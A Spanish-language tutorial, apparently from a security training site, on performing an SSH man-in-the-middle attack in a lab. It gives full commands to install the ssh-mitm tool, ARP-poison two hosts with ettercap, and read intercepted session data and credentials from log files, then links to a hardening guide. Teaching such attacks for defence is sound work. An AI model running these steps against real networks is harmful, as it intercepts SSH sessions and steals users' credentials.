Buenos días,
Es esencial saber cómo se realiza un ataque de hombre en el medio para medir la importancia de aplicar las contramedidas de protección del servicio SSH.
Le propongo empezar a trabajar sobre el siguiente entorno:
- Un servidor Kali Linux -> Atacante
- Un servidor SSH en Linux -> Objetivo 1
- Un cliente SSH Windows o Linux -> Objetivo 2
Paso 1: Descarga e instalación de SSH-MITM
Para empezar, hay que actualizar la lista de paquetes de nuestro Kali Linux:
apt update
A continuación habrá que descargar el programa SSH-MITM desde GitHub:
git clone https://github.com/jtesta/ssh-mitm
Habrá que realizar varios pasos: acceder al directorio de instalación, definir el
formato de idioma US-utf8 y luego lanzar el script de instalación:
cd ssh-mitm
export LANG=en_US.utf-8
sudo ./install.sh
El comando « export LANG=en_US.utf-8 » exporta, mediante una variable de entorno, el idioma predeterminado utilizado en el momento de la instalación de la herramienta (inglés con una codificación UTF-8). Sin esta exportación, un mensaje de error impide la instalación.
./ permite lanzar el script de shell install.sh presente en la carpeta ssh-mitm.
Durante esta instalación, es posible que se le pida instalar AppArmor para restringir los derechos de ssh-mitm en la máquina. Si es así, acepte la propuesta.
Ahora podemos lanzar el servicio ssh-mitm, que escuchará en el puerto 2222:
sudo ./start.sh
Es fácil comprobar cuáles son los servicios vinculados a los puertos abiertos con:
ss -ltnp
Paso 2: Realización del ataque MITM con ettercap
Las dos direcciones IP deben sustituirse por las de su servidor SSH Linux y las de su cliente SSH Windows o Linux.
sudo ettercap -i eth0 -T -M arp /192.168.x.x// /192.168.x.x//
- -T: lanza ettercap en modo texto
- -M: indica que se lanza un ataque de tipo «Man in the middle»
- 192.168.x.x: servidor SSH / 192.168.x.x: cliente SSH -> direcciones IP de las víctimas

Le propongo lanzar Wireshark en nuestro Kali Linux para comprobar la eficacia del envenenamiento de la tabla ARP (ARP Poisoning).

Paso 3: Recuperación de la información transmitida por SSH
En primer lugar es necesario detener el ataque pulsando « h » y después « q ».
El archivo generado /home/ssh-mitm/shell_session_0.txt contiene el conjunto de la información que ha transitado entre el cliente y el servidor SSH durante el ataque de hombre en el medio.

También a veces es posible encontrar los inicios de sesión utilizados directamente desde el archivo auth.log, que contiene los registros de autenticación del Kali Linux.
Puede visualizarlo así:
cat /var/log/auth.log
Paso 4: Refuerzo de la seguridad del servicio OpenSSH
Diríjase al siguiente artículo: Cómo reforzar la seguridad del servicio OpenSSH con las claves de cifrado SSH
